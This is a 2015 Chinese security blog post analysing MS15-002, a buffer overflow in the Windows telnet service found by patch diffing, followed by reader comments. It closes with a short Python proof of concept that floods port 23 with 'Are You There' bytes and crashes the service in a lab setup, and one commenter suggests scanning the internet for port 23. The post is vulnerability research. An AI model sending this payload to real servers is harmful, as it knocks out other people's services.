MS15-002 telnet服务缓冲区溢出漏洞分析与POC构造

cssembly 2015-01-16 09:09:00

0x00 漏洞原理分析


MS15-002是微软telnet服务中的缓冲区溢出漏洞,下面对其原理进行分析并构造POC。

telnet服务进程为tlntsvr.exe,针对每一个客户端连接会相应启动执行一个tlntsess.exe进程,补丁修补的是tlntsess.exe文件,通过补丁比对,确定漏洞位置如下,函数为

signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)

补丁前,该函数分别为:

补丁后,该函数为:

也就是说原来一个缓冲区变成了两个,调用完

(*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)

之后,先对缓冲区中的数据长度进行判断,如果

(unsigned int)(v9 - (unsigned __int8 *)&Src - 1) <= 0x7FE 

则判断目标缓冲区中可容纳字符的个数,如果

(unsigned int)((char *)v14 + v7 - (_DWORD)&Dst) >= 0x800

则退出,否则执行

memcpy_s(v14, (char *)&v18 - (_BYTE *)v14, &Src, v9 - (unsigned __int8 *)&Src)

将数据拷贝到Dst缓冲区。

而补丁前,只有一个缓冲区,调用

(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)

之前,先对缓冲区中的数据长度进行判定,只有当v13 - &Src <= 2048时才调用,v13 指向可用的缓冲区头部,而

(*(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)

处调用的函数,会对v13的值进行修改,如果调用

void __thiscall CRFCProtocol::DoTxBinary(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)

函数,可以看到函数修改了参数3的值,即*a3 += 3。

经过分析可以知道,如果v13 - &Src =2047,则满足v13 - &Src <= 2048条件,此时如果((&off_1011008 + 3 * v7))(v3, &v14, &v13, v6)调用的是CRFCProtocol::DoTxBinary函数,且执行到了如下指令序列时,显然导致了缓冲区溢出。

v7 = *a3;
*v7 = -1;
v7[1] = -3;
v7[2] = a4;
v7[3] = 0;
*a3 += 3;

补丁后的版本,采用两个缓冲区,将临时缓冲区指针v9传递给

(*(void (__thiscall **)(CRFCProtocol *, unsigned __int8 **, unsigned __int8 **, unsigned __int8))((char *)&off_1011008 + v12))(v2,&v13,&v9,v6)

函数返回后判断v9指向的缓冲区中的数据长度,最后判断目的缓冲区剩余可用空间是否可以容纳v9指向的缓冲区中的数据,即对(unsigned int)((char *)v14 + v7 - (_DWORD)&Dst) >= 0x800的判断。

0x01 环境搭建与POC构造


Win7上安装并启动telnet服务端,执行net user exp 123456 /ADD增加用户exp,通过net localgroup TelnetClients exp /ADD将该用户添加至TelnetClients组,这样就能够通过telnet客户端进行登录了。

调试发现

signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket(CRFCProtocol *this, unsigned __int32 *a2)

中_a2为接收到的数据的长度,最大为0x400,v6指向接收到的数据,显然为了触发溢出,必须在调用(_(&off_1011008 + 3 * v7))(v3, &v14, &v13, *v6)时,让数据出现膨胀,保证处理过后的Src缓冲区中的数据长度大于0x800。

查看((&off_1011008 + 3 * v7))(v3, &v14, &v13, v6)处可以调用的函数,

void __thiscall CRFCProtocol::AreYouThere(CRFCProtocol *this, unsigned __int8 **a2, unsigned __int8 **a3, unsigned __int8 a4)

显然会导致数据膨胀,a4是接收到的数据中的一个字节,执行后,a3指向的缓冲区中将写入9字节的固定数据。

通过wireshark截包,简单对协议进行分析,构造POC如下,让程序多次执行CRFCProtocol::AreYouThere函数,最终触发异常。

import socket  
address = ('192.168.172.152', 23)  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect(address)
data = "\xff\xf6" * 0x200
s.send(data) 
s.recv(512)  
s.close()

运行poc,在

signed int __thiscall CRFCProtocol::ProcessDataReceivedOnSocket( CRFCProtocol *this, unsigned __int32 *a2)

处设置断点,中断后可以看到_a2 = 0x400,(DWORD)(_(DWORD*)(this+0x1E40)+ 0x16c8)指向接收到得数据。

在函数返回前设置断点,执行之后,可以看到__security_check_cookie检测到了栈溢出,触发了异常,中断到调试器。

评论

S

sai 2015-01-16 09:42:57

沙发,好高端

_

_Evil 2015-01-16 11:44:33

啪啪啪

路人甲 2015-01-16 11:47:06

虽然没大看懂 但是隐隐约约感觉到了牛逼!

M

m0d9 2015-01-16 13:33:46

哎,web狗

胡小树 2015-01-16 14:15:36

什么情况,可以直接Telnet溢出拿shell?

夜未央 2015-01-16 15:39:59

膜拜大牛!

大白菜 2015-01-16 16:02:05

...然后呢

核攻击 2015-01-16 16:14:48


大白菜 2015-01-16 16:17:13

核总人家给出可以异常POC了。。你写一个可以执行的POC呗

昵称 2015-01-16 16:25:19

求Remote Code Execution姿势~

D

dpanda 2015-01-16 17:47:53

分析速度真是快啊

路人甲 2015-01-16 21:02:40

per me e' cinese!

S

Startz007 2015-01-16 22:10:55

楼主厉害,数度真快。
请教一下由于是服务启动的,楼主是怎么调试的.

刘海哥 2015-01-17 15:45:03

我的大刀以饥渴能耐!

路人甲 2015-01-17 23:00:27

如果是windows核心元件的话可以使用Debug版windows来调试的

R

RickGray 2015-01-18 17:04:56

可以zmap port 23了

路人甲 2015-01-20 16:32:58

似乎。。。好像。。。也许。。。只是覆盖了 securitycookie 和后面的1个字节,真的可以用来 RCE 吗,我什么都不懂

0

0x12 2015-01-21 04:17:55

后排留名嗑瓜子

路人甲 2015-01-27 19:51:09

@ cssembly大神,根据您的分析,在有问题的函数里,只是向栈中写入过多的无用填充字节(可能4字节中有一个字节可以是发送过来的数据),感觉没有RCE的可能性,但官网上标记该漏洞为RCE,求解惑

C

cssembly

天资不足,勤奋有余!

twitter weibo github wechat

随机分类

安全管理 文章:7 篇
Ruby安全 文章:2 篇
渗透测试 文章:154 篇
Windows安全 文章:88 篇
Python安全 文章:13 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Yukong

🐮皮

H

HHHeey

好的,谢谢师傅的解答

Article_kelp

a类中的变量secret_class_var = "secret"是在merge

H

HHHeey

secret_var = 1 def test(): pass

H

hgsmonkey

tql!!!

目录